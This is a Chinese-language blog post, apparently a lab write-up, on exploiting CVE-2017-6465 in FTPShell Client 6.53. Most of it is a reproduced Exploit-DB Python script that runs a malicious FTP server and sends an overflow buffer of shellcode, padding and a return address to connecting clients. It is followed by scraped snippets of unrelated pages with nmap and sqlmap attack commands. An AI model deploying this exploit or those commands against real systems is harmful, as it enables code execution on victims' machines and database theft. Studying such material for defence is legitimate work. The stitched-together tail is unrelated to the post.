CVE-2017-6465 FTPShell Client 6.53之缓冲区溢出利用

0x00.前言

  FTPShell是一款国外Windows平台下比较流行的FTP服务工具,截至本文客户端最新版6.53下载地址:http://www.ftpshell.com/downloadclient.htm#

  实验环境:VMWare + WinXP SP3 EN

  Vulnerable App 获取地址:http://www.ftpshell.com/downloadclient.htm#

0x01.利用

  该缓冲区溢出漏洞发生在客户端与FTP服务端初始化认证连接阶段,首先实验环境下安装好 FTPShell Client 6.53

  这里我们直接使用Explit-DB提供的python代码搭建一台恶意FTP服务器

 1 # Exploit Title: FTPShell Client 6.53 buffer overflow on making initial connection
 2 # Date: 2017-03-04
 3 # Exploit Author: Peter Baris
 4 # Vendor Homepage: http://www.saptech-erp.com.au
 5 # Software Link: http://www.ftpshell.com/downloadclient.htm
 6 # Version: Windows Server 2008 R2 x64
 7 # Tested on: Windows Server 2008 R2 Standard x64
 8 # CVE: CVE-2017-6465
 9 # 2017-03-04: Software vendor notified
10 # 2017-03-06: No reply
11 # 2017-03-06: Publishing
12
13 import socket
14 import sys
15
16 shell=("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
17 "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
18 "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
19 "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
20 "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
21 "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
22 "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
23 "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
24 "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
25 "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
26 "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
27 "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
28 "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
29 "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
30 "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
31 "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
32 "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
33 "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
34 "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
35 "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
36 "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
37 "\x4e\x36\x43\x46\x42\x50\x5a")    #这里替换成弹出calc.exe的shellcode
38
39 port = 21
40
41 try:
42         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
43         s.bind(("0.0.0.0", port))  #绑定本地21端口
44         s.listen(5)          #开启FTP服务监听
45         print("[i] FTP server started on port: "+str(port)+"\r\n")
46 except:
47         print("[!] Failed to bind the server to port: "+str(port)+"\r\n")
48
49
50 # 004b95dc in ftpshell.exe PUSH ESI ; RETN
51 eip = "\xdc\x95\x4b"  #该地址在WinXP SP3 EN中仍可使用
52 nops = "\x90"*8
53 junk = "A"*(400-len(nops)-len(shell))
54 buffer = nops + shell + junk + eip  #构造出恶意Buffer结构
55
56 while True:
57     conn, addr = s.accept()
58     conn.send(‘220 Welcome to your unfriendly FTP server\r\n‘)
59     print(conn.recv(1024))
60     conn.send("331 OK\r\n")
61     print(conn.recv(1024))
62     conn.send(‘230 OK\r\n‘)
63     print(conn.recv(1024))
64     conn.send(‘220 "‘+buffer+‘" is current directory\r\n‘)  #发送恶意Buffer结构

  执行脚本,启动服务

  受害机中FTPShell客户端连接恶意FTP服务器,可以发现客户端立即报错,Shellcode被执行

  注:本人并未在Win2008 SP2中实验过

0x02.参考链接

  Exploit-db:https://www.exploit-db.com/exploits/41511/

时间: 2024-08-06 03:44:40

CVE-2017-6465 FTPShell Client 6.53之缓冲区溢出利用的相关文章

关于client浏览器界面文字内容溢出用省略号表示方法

在实际的项目中,因为client浏览器文字内容的长度不确定性和页面布局的固定性,难免会出现文字内容超过div(或其它标签,下同)区域的情况.此时比較好的做法就是当文字超过限定的div宽度后自己主动以省略号(-)显示,这样.依照习惯,人们都会知道这儿有文字被省略了. 使用CSS截断字符串方法 CSS中有个属性叫做text-overflow:ellipsis. 说明:长处是内容能够为不论什么HTML元素.包含超链接和图片等,在IE6中还会在结尾自己主动显示省略号.缺点是必须指定宽度数值.而且宽度不能

转:渗透测试工具实战技巧合集

转自:http://www.freebuf.com/sectool/105524.html   选择性的删了一部分内容 最好的 NMAP 扫描策略 # 适用所有大小网络最好的 nmap 扫描策略 # 主机发现,生成存活主机列表 $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt # 端口发现,

渗透测试工具实战技巧合集

最好的 NMAP 扫描策略 # 适用所有大小网络最好的 nmap 扫描策略 # 主机发现,生成存活主机列表 $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt # 端口发现,发现大部分常用端口 # http://nmap.org/presentations/BHDC08/bhdc08-slid

最好的 NMAP 扫描策略

# 适用所有大小网络最好的 nmap 扫描策略 # 主机发现,生成存活主机列表 $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt # 端口发现,发现大部分常用端口 # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf

缓冲区溢出漏洞实战(1)

目标软件:BlazeDVD Pro 版本号:7.0.0.0 系统:Windows xp,Win7,Win8 ------ 主要是Immunity Debugger mona.py插件的使用,此插件是Corelan Team的精品.设置mona.py工作路径: !mona config -set workingfolder c:\logs\%p 生成测试数据: #!/usr/bin/python from struct import pack   buffer = '\x41'*1000 try:

Metasploit渗透测试魔鬼训练营

首本中文原创Metasploit渗透测试著作,国内信息安全领域布道者和资深Metasploit渗透测试专家领衔撰写,极具权威性.以实践为导向,既详细讲解了Metasploit渗透测试的技术.流程.方法和技巧,又深刻阐释了渗透测试平台背后蕴含的思想. 本书是Metasploit渗透测试领域难得的经典佳作,由国内信息安全领域的资深Metasploit渗透测试专家领衔撰写.内容系统.广泛.有深度,不仅详细讲解了Metasploit渗透测试的技术.流程.方法和技巧,而且深刻揭示了渗透测试平台背后蕴含的思

sqlmap 命令详解(自备速查)

sqlmap速查 /pentest/database/sqlmap/txt/ common-columns.txt 字段字典 common-outputs.txt common-tables.txt 表字典 keywords.txt oracle-default-passwords.txt user-agents.txt wordlist.txt 常用语句: 1.使用POST方法提交 sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/post_int.

Sqlmap注入技巧收集整理

TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script?id=(select 10) # 相当于 id=10 http://site/script?id=10 and 1=1 #失败 通过判断可发现and和or被过滤http://site/script?id=10– # 失败http://site/script?id=10;– #失败http://sit

sqlmap参数

sqlmap -u "http://url/news?id=1" –current-user #获取当前用户名称sqlmap -u "http://www.xxoo.com/news?id=1" –current-db #获取当前数 据库名称sqlmap -u "http://www.xxoo.com/news?id=1" –tables -D "db_name"#列 表名sqlmap -u "http://url/